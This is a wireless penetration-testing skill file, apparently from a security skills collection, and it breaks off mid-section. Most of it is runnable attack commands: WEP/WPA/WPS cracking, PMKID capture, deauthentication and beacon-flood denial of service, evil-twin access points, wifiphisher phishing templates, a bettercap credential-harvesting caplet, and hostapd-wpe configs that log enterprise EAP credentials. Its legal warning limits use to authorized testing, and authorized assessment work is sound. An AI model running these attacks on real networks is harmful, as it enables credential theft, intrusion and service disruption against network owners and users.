wireless-security-wifi-pentesting

# Wireless Security & WiFi Penetration Testing > Skill by [ara.so](https://ara.so) — Security Skills collection. This skill provides expertise in wireless security assessment and Wi-Fi penetration testing using the aircrack-ng suite and related tools on Kali Linux. It covers 802.11 protocol analysis, monitor mode setup, WEP/WPA/WPA2/WPA3 attacks, rogue AP deployment, and enterprise wireless assessment. ## Project Overview The Wireless Security & WiFi Penetration Testing project is a comprehensive, hands-on curriculum covering: - 802.11 standards and wireless fundamentals - Monitor mode and packet injection setup - Wireless reconnaissance and traffic analysis - WEP cracking (multiple attack vectors) - WPA/WPA2 handshake capture and cracking - PMKID attacks (handshake-less) - WPA3 and advanced attacks (KRACK, Dragonblood) - Rogue access points and evil twin attacks - Enterprise WPA (EAP/RADIUS) assessment - Wireless hardening and defense **⚠️ Legal Warning:** All techniques must only be used on networks you own or have explicit written authorization to test. Unauthorized wireless attacks are illegal. ## Hardware Requirements ### Wireless Adapters You need an **injection-capable** wireless adapter. Built-in laptop Wi-Fi cards typically don't support monitor mode or packet injection. **Recommended chipsets:** - **Atheros AR9271** (TP-Link TL-WN722N v1, Alfa AWUS036NHA) - **Ralink RT3070/RT5372** (Alfa AWUS036NH, Panda PAU09) **Critical:** Only TP-Link TL-WN722N **version 1** has the Atheros chipset. V2/V3 use Realtek and don't support injection reliably. ### Test Environment - 1-2 wireless adapters (one for capture, one optional for rogue AP) - Test access point you own (with WEP/WPA/WPA2 configured) - Client device(s) for testing - Kali Linux (bare-metal or VM with USB passthrough) ## Installation & Setup ### Core Tools (Pre-installed on Kali) ```bash # Update package lists sudo apt update # Install aircrack-ng suite (usually pre-installed) sudo apt install aircrack-ng # Install additional wireless tools sudo apt install wireless-tools iw # Install cracking tools sudo apt install hashcat hcxtools hcxdumptool # Install WPS attack tools sudo apt install reaver bully # Install rogue AP tools sudo apt install hostapd dnsmasq # Install traffic analysis tools sudo apt install wireshark tcpdump bettercap # Install wireless IDS sudo apt install kismet ``` ### Verify Adapter Capabilities ```bash # List wireless interfaces iwconfig # Check if adapter supports monitor mode iw list | grep -A 10 "Supported interface modes" # Expected output should include: # * monitor # Check for injection support iw list | grep -A 10 "Supported commands" # Should include: # * set_channel # * frame ``` ## Monitor Mode Setup ### Enable Monitor Mode ```bash # Check current wireless interfaces iwconfig # Kill interfering processes sudo airmon-ng check kill # Enable monitor mode on wlan0 sudo airmon-ng start wlan0 # Verify monitor interface created (usually wlan0mon) iwconfig # Alternative method using iw/ip sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up ``` ### Test Packet Injection ```bash # Test injection capability sudo aireplay-ng --test wlan0mon # Expected output: # Trying broadcast probe requests... # Injection is working! # Found X APs # Test injection against specific AP sudo aireplay-ng --test -a <AP_MAC> wlan0mon ``` ### Disable Monitor Mode ```bash # Stop monitor mode sudo airmon-ng stop wlan0mon # Restart NetworkManager sudo systemctl start NetworkManager ``` ## Wireless Reconnaissance ### Basic Network Scanning ```bash # Scan for all networks on all channels sudo airodump-ng wlan0mon # Scan specific channel (e.g., channel 6) sudo airodump-ng -c 6 wlan0mon # Scan specific band (2.4GHz or 5GHz) sudo airodump-ng --band abg wlan0mon # All bands sudo airodump-ng --band a wlan0mon # 5GHz only sudo airodump-ng --band bg wlan0mon # 2.4GHz only # Output explanation: # BSSID: AP MAC address # PWR: Signal strength # Beacons: Beacon frames seen # #Data: Data packets captured # CH: Channel # ENC: Encryption (WEP/WPA/WPA2/WPA3) # ESSID: Network name ``` ### Targeted Reconnaissance ```bash # Focus on specific BSSID and write to file sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # This creates files: # capture-01.cap (packet capture) # capture-01.csv (data in CSV) # capture-01.kismet.csv (Kismet format) # capture-01.kismet.netxml (Kismet XML) # Filter for specific ESSID sudo airodump-ng --essid "TargetNetwork" wlan0mon # Show only clients (stations) sudo airodump-ng --showack wlan0mon ``` ### Discover Hidden SSIDs ```bash # Passive: Monitor until client connects sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon # Active: Deauth clients to force reconnection (reveals SSID) # Terminal 1: Capture sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w hidden wlan0mon # Terminal 2: Deauth to force SSID broadcast sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon ``` ## WEP Attacks ### Passive WEP Cracking ```bash # Capture IVs (needs ~40,000-85,000 IVs) sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon # Once enough IVs captured, crack offline aircrack-ng wep_capture-01.cap # With specific BSSID aircrack-ng -b AA:BB:CC:DD:EE:FF wep_capture-01.cap ``` ### Active WEP Cracking (Fake Authentication) ```bash # Terminal 1: Start capture sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_active wlan0mon # Terminal 2: Fake authentication sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon # Terminal 3: ARP replay attack (generates traffic) sudo aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon # Terminal 4: Crack as IVs accumulate aircrack-ng -b AA:BB:CC:DD:EE:FF wep_active-01.cap ``` ### WEP Chop-Chop Attack ```bash # Terminal 1: Capture sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w chopchop wlan0mon # Terminal 2: Fake auth sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon # Terminal 3: Chop-chop attack sudo aireplay-ng --chopchop -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon # Creates .xor file, forge packet from it sudo packetforge-ng --arp -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y <XOR_FILE> -w forged.cap # Replay forged packet sudo aireplay-ng --interactive -r forged.cap wlan0mon # Crack aircrack-ng chopchop-01.cap ``` ## WPA/WPA2 Handshake Capture ### Capture WPA Handshake ```bash # Terminal 1: Start capture sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa_capture wlan0mon # Terminal 2: Deauth clients to force handshake # Deauth all clients sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Deauth specific client sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon # Watch Terminal 1 for "WPA handshake: AA:BB:CC:DD:EE:FF" # Verify handshake in capture aircrack-ng wpa_capture-01.cap ``` ### Crack WPA/WPA2 PSK ```bash # Crack with wordlist aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF wpa_capture-01.cap # Crack with specific ESSID aircrack-ng -w wordlist.txt -e "NetworkName" wpa_capture-01.cap # Show networks in capture aircrack-ng wpa_capture-01.cap # Generate custom wordlist with crunch crunch 8 8 -t pass@@@@ -o wordlist.txt # Use hashcat (faster, GPU-accelerated) # Convert cap to hccapx format hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap # Crack with hashcat (mode 22000 for WPA/WPA2) hashcat -m 22000 -a 0 hash.hc22000 /usr/share/wordlists/rockyou.txt # Hashcat with rules hashcat -m 22000 -a 0 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule # Show cracked passwords hashcat -m 22000 hash.hc22000 --show ``` ## PMKID Attack (Handshake-less WPA2) ```bash # Capture PMKID (no client needed!) sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 # Convert to hashcat format hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng # Crack with hashcat hashcat -m 22000 -a 0 pmkid.hc22000 /usr/share/wordlists/rockyou.txt # Alternative: Use old format (deprecated but may work) hcxpcaptool -z pmkid.16800 pmkid.pcapng hashcat -m 16800 -a 0 pmkid.16800 wordlist.txt ``` ## WPS Attacks ### WPS PIN Brute Force ```bash # Scan for WPS-enabled APs wash -i wlan0mon # Reaver attack (online brute force) sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv # Reaver with delay (avoid rate limiting) sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 2 -T 0.5 # Bully attack (alternative) sudo bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon # PixieWPS attack (offline) sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1 ``` ## Denial of Service Attacks ### Deauthentication Attack ```bash # Deauth all clients from AP (continuous) sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon # Deauth specific client sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon # Deauth with count (10 packets) sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # MDK3 beacon flood sudo mdk3 wlan0mon b -a # MDK3 deauth flood sudo mdk3 wlan0mon d -c 6 ``` ## Rogue Access Point / Evil Twin ### Basic Evil Twin with hostapd ```bash # Create hostapd config cat > evil_twin.conf << 'EOF' interface=wlan0 driver=nl80211 ssid=FreeWiFi hw_mode=g channel=6 macaddr_acl=0 ignore_broadcast_ssid=0 auth_algs=1 wpa=0 EOF # Start evil twin sudo hostapd evil_twin.conf ``` ### Evil Twin with WPA2 ```bash # WPA2 evil twin config cat > evil_wpa2.conf << 'EOF' interface=wlan0 driver=nl80211 ssid=CorporateWiFi hw_mode=g channel=6 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 wpa=2 wpa_passphrase=password123 wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP CCMP rsn_pairwise=CCMP EOF sudo hostapd evil_wpa2.conf ``` ### Evil Twin with Internet Sharing ```bash # Setup DHCP server cat > /tmp/dnsmasq.conf << 'EOF' interface=wlan0 dhcp-range=10.0.0.10,10.0.0.100,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 server=8.8.8.8 log-queries log-dhcp EOF # Configure IP and routing sudo ip addr add 10.0.0.1/24 dev wlan0 sudo ip link set wlan0 up # Enable IP forwarding sudo sysctl -w net.ipv4.ip_forward=1 # Setup NAT (replace eth0 with your internet interface) sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT # Start DHCP sudo dnsmasq -C /tmp/dnsmasq.conf -d # Start evil twin sudo hostapd evil_twin.conf ``` ### Automated Evil Twin with wifiphisher ```bash # Install wifiphisher sudo apt install wifiphisher # Run automated evil twin attack sudo wifiphisher -i wlan0 -e "TargetNetwork" # With specific template sudo wifiphisher -i wlan0 -e "TargetNetwork" -p firmware-upgrade # Available templates: # - firmware-upgrade # - oauth-login # - browser-plugin-update ``` ### Capture Credentials with bettercap ```bash # Create caplet for credential harvesting cat > evil.cap << 'EOF' set wifi.ap.ssid FreeWiFi set wifi.ap.bssid <SPOOF_MAC> set wifi.ap.channel 6 set wifi.ap.encryption false set net.sniff.verbose true set net.sniff.local true wifi.recon on wifi.ap net.sniff on http.proxy on https.proxy on EOF # Run bettercap with caplet sudo bettercap -iface wlan0 -caplet evil.cap ``` ## WPA3 Attacks ### Dragonblood (SAE Downgrade) ```bash # Use hostapd-wpe for WPA3 testing git clone https://github.com/OpenSecurityResearch/hostapd-wpe cd hostapd-wpe make # Configure for WPA3 cat > wpa3_test.conf << 'EOF' interface=wlan0 driver=nl80211 ssid=TestWPA3 hw_mode=g channel=6 wpa=2 wpa_key_mgmt=SAE rsn_pairwise=CCMP sae_password=testpassword ieee80211w=2 EOF # Run and capture handshakes sudo ./hostapd wpa3_test.conf ``` ### PMKID on WPA3 ```bash # Attempt PMKID capture (may work on misconfigured WPA3) sudo hcxdumptool -i wlan0mon -o wpa3_pmkid.pcapng --enable_status=1 --filterlist_ap=targets.txt --filtermode=2 # Convert and crack hcxpcapngtool -o wpa3.hc22000 wpa3_pmkid.pcapng hashcat -m 22000 -a 0 wpa3.hc22000 wordlist.txt ``` ## Enterprise WPA (802.1X / RADIUS) ### Capture EAP Credentials ```bash # Monitor enterprise network sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon # Look for EAPOL frames in capture # Use hostapd-wpe (WPA Enterprise) sudo hostapd-wpe hostapd-wpe.conf # Configuration for PEAP/EAP-TTLS capture cat > hostapd-wpe.conf << 'EOF' interface=wlan0 driver=nl80211 ssid=CorpNet channel=6 hw_mode=g wpa=2 wpa_key_mgmt=WPA-EAP wpa_pairwise=CCMP auth_algs=3 ieee8021x=1 eapol_key_index_workaround=0 eap_server=1 eap_user_file=hostapd.eap_user ca_cert=/etc/hostapd-wpe/certs/ca.pem server_cert=/etc/hostapd-wpe/certs/server.pem private_key=/etc/hostapd-wpe/certs/server.key private_key_passwd= dh_file=/etc/hostapd-wpe/certs/dh EOF # EAP user file cat > hostapd.eap_user << 'EOF' * PEAP,TTLS,TLS,FAST "t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2] EOF # Credentials are logged to hostapd-wpe.log ``` ### Crack EAP Hashes ```bash # Extract challenge/response from hostapd-wpe.log # Format: username:challenge:response # Crack MSCHAPv2 with asleap